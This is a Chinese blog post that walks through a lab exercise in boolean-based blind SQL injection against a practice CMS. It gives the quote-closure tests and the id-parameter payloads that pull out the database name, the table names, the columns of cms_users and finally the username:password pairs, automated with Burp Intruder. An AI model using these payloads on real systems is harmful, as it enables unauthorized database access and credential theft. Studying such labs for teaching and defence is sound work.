CMS 文件管理系统:SQL Bool 盲注
本文发表在博客园乌漆 WhiteMoon(https://www.cnblogs.com/linfangnan/),只要不是在博客园看到这篇文章的都是爬虫的哈。
任务目标
在CMS 文件管理系统:SQL 联合查询和报错注入中,我们已经实现了 2 种注入方式。此处对 cms 系统进行 SQL Bool 盲注,通过获取到的管理员密码登录。
查找注入点
首先先找找注入点,经判断在搜索框的 keywords 可能存在 SQL 注入。
在文章阅读框的 id 参数也可能是注入点。
判断注入类型
由于文章阅读框的参数比较简单,所以用这个参数来测试,首先先注入正常的参数,网页回显正常的信息。
尝试注入个单引号闭合,网页回显 MySql 报错,后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。经过以下所有的测试都一样,也就是说我们注入的引号没有起到闭合的作用,这是一个数字型注入。
1' OR 1 = 1--+
1') OR 1 = 1--+
1')) OR 1 = 1--+
1" OR 1 = 1--+
1") OR 1 = 1--+
1")) OR 1 = 1--+
那就是数值型注入了,直接用注释把后面的东西注释掉,不用引号闭合。
1 OR 1 = 1--+
注意到在文章阅读页面输入不存在的 id,该页面就不会显示内容,也就是说查询失败时页面会空白,可以将此作为判断是否查询成功的依据。
获取数据库长度
首先先搞清楚数据库名的长度,查询 id 为 33 的文章后用 AND 闭合确定数据库长度的语句,如果后面这个语句查询成功则页面会显示出文章。
?id=33 AND LENGTH((SELECT database()))=0--+
经测试,数据库名的长度为 3。
?id=33 AND LENGTH((SELECT database()))=3--+
但是这样太慢了,可以使用 Brup 来进行爆破,首先拦截包发给测试器,选择攻击模式为“狙击手”,设置填充数据的位置。
设置有效载荷,从长度 1 测试到长度 10。
攻击之后可以明显的看到,数据库名的长度为 3。
获取数据库名
爆数据库名,使用 SELECT database() 查询数据库名,然后用 SUBSTRING() 挨个提取字符进行判断。
?id=33 AND SUBSTRING((SELECT database()),1,1)='a' --+
使用 Brup 进行测试,注意此处要选用“集束炸弹”,因为 2 个需要填充的字符不同。第一个用于确定第几位数据库名,第二个是具体的字符,需要 2 个有效载荷。
第一个有效载荷为 3 个数字,因为我们刚刚测出数据库长度为 3。
第二个则为一个简单清单,内容是字母、下划线和数字集合。
进行攻击,根据结果可以看出数据库名为 “cms”。
获取表名
由于数据库中有多张表,所以需要挨个进行测试。先编写出 payload,它不仅要设置每次返回 1 张表名,还要对每张表名的每个字符进行判断。
?id=33 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='cms' LIMIT 1,1),1,1)='a' --+
还是一样使用 Brup 进行测试,设置 3 个有效载荷,分别是第 n 行表名,表名的第 n 个字符,和用于测试的具体字符。
第一个是第 n 行表名,设置为数字 0 ~ 10。
第二个是表名的第 n 个字符,设置为数字 1 ~ 20。
第三个是用于测试的具体字符,设置为字母、下划线和数字集合。
进行攻击后,由于此处数据比较复杂,把结果导出查看。注意分隔符可以选用“,”,这样可以用 csv 格式打开,比较方便查看。
对 csv 进行排序之后,就可以获得所有表名。
此处我将 8 个表名都截图上来。
cms_article
cms_category
cms_file
cms_friendlink
cms_message
cms_notice
cms_page
cms_users
获取字段名
虽然很费劲,但是接下来就和熟练了,先写出获取字段名的 payload。
?id=33 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users' LIMIT 0,1),1,1)='a' --+
还是一样使用 Brup 进行测试,设置 3 个有效载荷,分别是第 n 行字段名,字段名的第 n 个字符,和用于测试的具体字符。具体的有效载荷设置和前面思想一样,不再赘述。
攻击完成后保存为结果表,用 csv 格式打开,排序得到 cms_users 所有字段名。
cms_users 表拥有 3 个字段,分别是 userid、username、password。
获取敏感信息
只剩下最后一步,先写出获取用户名和密码的 payload,此处我们换个写法。
?id=33 AND SUBSTRING((SELECT group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))) FROM cms.cms_users),1,1)='a'
由于我们使用 group_concat 函数把用户名和密码拼接在一起,所以查询结果只有一个字符串。此时设置的有效载荷只有 2 个,只需要挨个判断这个字符串的内容就行,思想与上面一样不再赘述。
攻击结束,保存为结果表,用 csv 格式打开。
排序之后就可以查看爆出来的结果了,如果用户名和密码太多,也可以写 Python 处理,此处不再赘述。